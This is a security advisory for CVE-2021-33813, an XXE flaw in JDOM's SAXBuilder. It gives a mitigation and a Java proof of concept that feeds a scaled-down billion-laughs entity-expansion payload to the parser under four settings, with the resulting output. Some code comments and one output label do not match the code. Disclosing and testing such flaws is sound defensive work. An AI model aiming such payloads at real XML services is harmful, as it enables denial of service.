<--

XXE in JDOM library - Java

Aleph Research Advisory

Identifier

Severity

Moderate

Product

  • JDOM library

Vulnerable Version

  • JDOM-2.0.6 and before

Technical Details

While working with the JDOM library, We have found a bug in SAXBuilder class that might lead to an XXE vulnerability. According to OWASP, to avoid XXE vulnerability, we need to configure the parser not to allow external entities by using setFeature() method with the following values:

parser.setFeature("http://xml.org/sax/features/external-general-entities", false).

We have found that it does not matter which value is set in this feature. Whether it is true or false, external-general-entities will use the value from the Expand Entity.

Our suggested code fix is that setting user-specified features should be done after the set entity expansion. Since that user-specified configuration should have higher priority to avoid XXE.

Our mitigation, until a version fix is out, is to add configuration for ExpandEntity that should protect the parser from XXE:

builder.setExpandEntities(false);

Exploit example for the XXE bomb attack(billion laughs attack):

void test_SAXBuilder(HttpServletRequest request, HttpServletResponse response) throws IOException {
 
    String xmlParam = "<!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY bar \"World \">
	<!ENTITY t1 \"&bar;&bar;\"><!ENTITY t2 \"&t1;&t1;&t1;&t1;\">
	<!ENTITY t3 \"&t2;&t2;&t2;&t2;&t2;\">]><foo>Hello &t3;</foo>";
    
    try {
        // disallow-doctype-decl is set to true and after parsing will hold value true
        SAXBuilder builder = new SAXBuilder();
        builder.setFeature("http://xml.org/sax/features/external-general-entities", true);
        builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        //builder.setExpandEntities(false);
        Document doc = builder.build(new InputSource(new StringReader(xmlParam)));
        String s="";
        for ( Content content : doc.getContent()) {
            s += content.getValue();
        }
        response.getWriter().println("external-general-entities: true, content: " + s);
    } catch (JDOMException e) {
    }
 
    try {
        // disallow-doctype-decl is set to false and after parsing will hold value true
        SAXBuilder builder = new SAXBuilder();
        builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
        builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        //builder.setExpandEntities(false);
        Document doc = builder.build(new InputSource(new StringReader(xmlParam)));
        String s="";
        for ( Content content : doc.getContent()) {
            s += content.getValue();
        }
        response.getWriter().println("external-general-entities: false, content: " + s);
    } catch (JDOMException e) {
    }
 
    try {
        // disallow-doctype-decl is set to true and after parsing will hold value false
        // due to expandEntity value
        SAXBuilder builder = new SAXBuilder();
        builder.setFeature("http://xml.org/sax/features/external-general-entities", true);
        builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        builder.setExpandEntities(false);
        Document doc = builder.build(new InputSource(new StringReader(xmlParam)));
        String s="";
        for ( Content content : doc.getContent()) {
            s += content.getValue();
        }
        response.getWriter().println("external-general-entities: true, ExpandEntities: false, content: " + s);
    } catch (JDOMException e) {
    }
  try {
        // disallow-doctype-decl is set to true and after parsing will hold value false
        // due to expandEntity value
        SAXBuilder builder = new SAXBuilder();
        builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
        builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        builder.setExpandEntities(false);
        Document doc = builder.build(new InputSource(new StringReader(xmlParam)));
        String s="";
        for ( Content content : doc.getContent()) {
             s += content.getValue();
        }
        response.getWriter().println("external-general-entities: true, ExpandEntities: false,  content: " + s);
    } catch (JDOMException e) {
    }
}

The output html is:

<html>
  <body>
    external-general-entities: true, content: Hello World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World 
    external-general-entities: false, content: Hello World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World 
    external-general-entities: true, ExpandEntities: false, content: Hello
    external-general-entities: false, ExpandEntities: false, content: Hello
  </body>
</html>

Timeline

  • 08-Jun-21
    : Public disclosure.
  • 03-Jun-21
    : CVE-2021-33813 assigned.
  • 02-Jun-21
    : CVE ID requested.
  • 16-May-21
    : Deadline.
  • 16-Feb-21
    : Reported.

Credit

External References